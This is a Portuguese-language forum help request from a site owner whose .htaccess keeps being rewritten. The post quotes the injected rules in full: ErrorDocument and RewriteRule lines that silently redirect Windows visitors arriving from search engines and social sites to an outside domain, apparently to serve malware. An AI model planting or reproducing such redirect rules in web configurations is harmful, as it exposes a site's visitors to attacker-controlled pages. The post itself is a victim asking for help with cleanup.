arquivo .htaccess esta sendo modificado
Pessoal to com um problema, meu arquivo .htaccess esta sendo alterado de alguma forma.
o que esta acontecendo é que ao acessar certas paginas da minha intranet uma mensagem de virus aparece, editei o .htaccess e encontrei ele dessa forma:
ErrorDocument 500 http://blog.phones4wow.com/main.php?i=J8+sitseo/Osjhj9VMRFzJEZ&e=0
ErrorDocument 502 http://blog.phones4wow.com/main.php?i=J8+sitseo/Osjhj9VMRFzJEZ&e=2
ErrorDocument 403 http://blog.phones4wow.com/main.php?i=J8+sitseo/Osjhj9VMRFzJEZ&e=3
RewriteEngine On
RewriteCond %{HTTP_REFERER} .yandex.$ [NC,OR]
RewriteCond %{HTTP_REFERER} .odnoklassniki.$ [NC,OR]
RewriteCond %{HTTP_REFERER} .vkontakte.$ [NC,OR]
RewriteCond %{HTTP_REFERER} .rambler.$ [NC,OR]
RewriteCond %{HTTP_REFERER} .tube.$ [NC,OR]
RewriteCond %{HTTP_REFERER} .wikipedia.$ [NC,OR]
RewriteCond %{HTTP_REFERER} .blogger.$ [NC,OR]
RewriteCond %{HTTP_REFERER} .baidu.$ [NC,OR]
RewriteCond %{HTTP_REFERER} .qq\.com.$ [NC,OR]
RewriteCond %{HTTP_REFERER} .myspace.$ [NC,OR]
RewriteCond %{HTTP_REFERER} .twitter.$ [NC,OR]
RewriteCond %{HTTP_REFERER} .facebook.$ [NC,OR]
RewriteCond %{HTTP_REFERER} .google.$ [NC,OR]
RewriteCond %{HTTP_REFERER} .live.$ [NC,OR]
RewriteCond %{HTTP_REFERER} .aol.$ [NC,OR]
RewriteCond %{HTTP_REFERER} .bing.$ [NC,OR]
RewriteCond %{HTTP_REFERER} .msn.$ [NC,OR]
RewriteCond %{HTTP_REFERER} .amazon.$ [NC,OR]
RewriteCond %{HTTP_REFERER} .ebay.$ [NC,OR]
RewriteCond %{HTTP_REFERER} .linkedin.$ [NC,OR]
RewriteCond %{HTTP_REFERER} .flickr.$ [NC,OR]
RewriteCond %{HTTP_REFERER} .livejasmin.$ [NC,OR]
RewriteCond %{HTTP_REFERER} .soso.$ [NC,OR]
RewriteCond %{HTTP_REFERER} .doubleclick.$ [NC,OR]
RewriteCond %{HTTP_REFERER} .---hub.$ [NC,OR]
RewriteCond %{HTTP_REFERER} .orkut.$ [NC,OR]
RewriteCond %{HTTP_REFERER} .livejournal.$ [NC,OR]
RewriteCond %{HTTP_REFERER} .wordpress.$ [NC,OR]
RewriteCond %{HTTP_REFERER} .yahoo.$ [NC,OR]
RewriteCond %{HTTP_REFERER} .ask.$ [NC,OR]
RewriteCond %{HTTP_REFERER} .excite.$ [NC,OR]
RewriteCond %{HTTP_REFERER} .altavista.$ [NC,OR]
RewriteCond %{HTTP_REFERER} .msn.$ [NC,OR]
RewriteCond %{HTTP_REFERER} .netscape.$ [NC,OR]
RewriteCond %{HTTP_REFERER} .hotbot.$ [NC,OR]
RewriteCond %{HTTP_REFERER} .goto.$ [NC,OR]
RewriteCond %{HTTP_REFERER} .infoseek.$ [NC,OR]
RewriteCond %{HTTP_REFERER} .mamma.$ [NC,OR]
RewriteCond %{HTTP_REFERER} .alltheweb.$ [NC,OR]
RewriteCond %{HTTP_REFERER} .lycos.$ [NC,OR]
RewriteCond %{HTTP_REFERER} .search.$ [NC,OR]
RewriteCond %{HTTP_REFERER} .metacrawler.$ [NC,OR]
RewriteCond %{HTTP_REFERER} .mail.$ [NC,OR]
RewriteCond %{HTTP_REFERER} .dogpile.$ [NC]
RewriteCond %{HTTP_REFERER} .main.$ [NC,OR]
RewriteCond %{HTTP_USER_AGENT} .Windows.
RewriteRule .* http://blog.phones4wow.com/main.php?h=%{HTTP_HOST}&i=J8+sitseo/Osjhj9VMRFzJEZ&e=r [R,L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !.jpg$|.gif$|.*png$
RewriteCond %{HTTP_USER_AGENT} .Windows.
RewriteRule .* http://blog.phones4wow.com/main.php?h=%{HTTP_HOST}&i=J8+sitseo/Osjhj9VMRFzJEZ&e=4 [R,L]
se eu retiro as seguintes linhas
ErrorDocument 500 http://blog.phones4wow.com/main.php?i=J8+sitseo/Osjhj9VMRFzJEZ&e=0
ErrorDocument 502 http://blog.phones4wow.com/main.php?i=J8+sitseo/Osjhj9VMRFzJEZ&e=2
ErrorDocument 403 http://blog.phones4wow.com/main.php?i=J8+sitseo/Osjhj9VMRFzJEZ&e=3
RewriteRule .* http://blog.phones4wow.com/main.php?h=%{HTTP_HOST}&i=J8+sitseo/Osjhj9VMRFzJEZ&e=r [R,L]
RewriteRule .* http://blog.phones4wow.com/main.php?h=%{HTTP_HOST}&i=J8+sitseo/Osjhj9VMRFzJEZ&e=4 [R,L]
minha intranet volta a funcionar normal, ou se deleto o arquivo .htaccess tbem volta a funcionar normal o problema é que depois de uns 7 dias aparece essas linhas novamente mas com uma diferença os endereços sao outros, eu nao sei o que fazer será que alguem poderia me ajudar com esse problema.
Discussão (4)
Carregando comentários...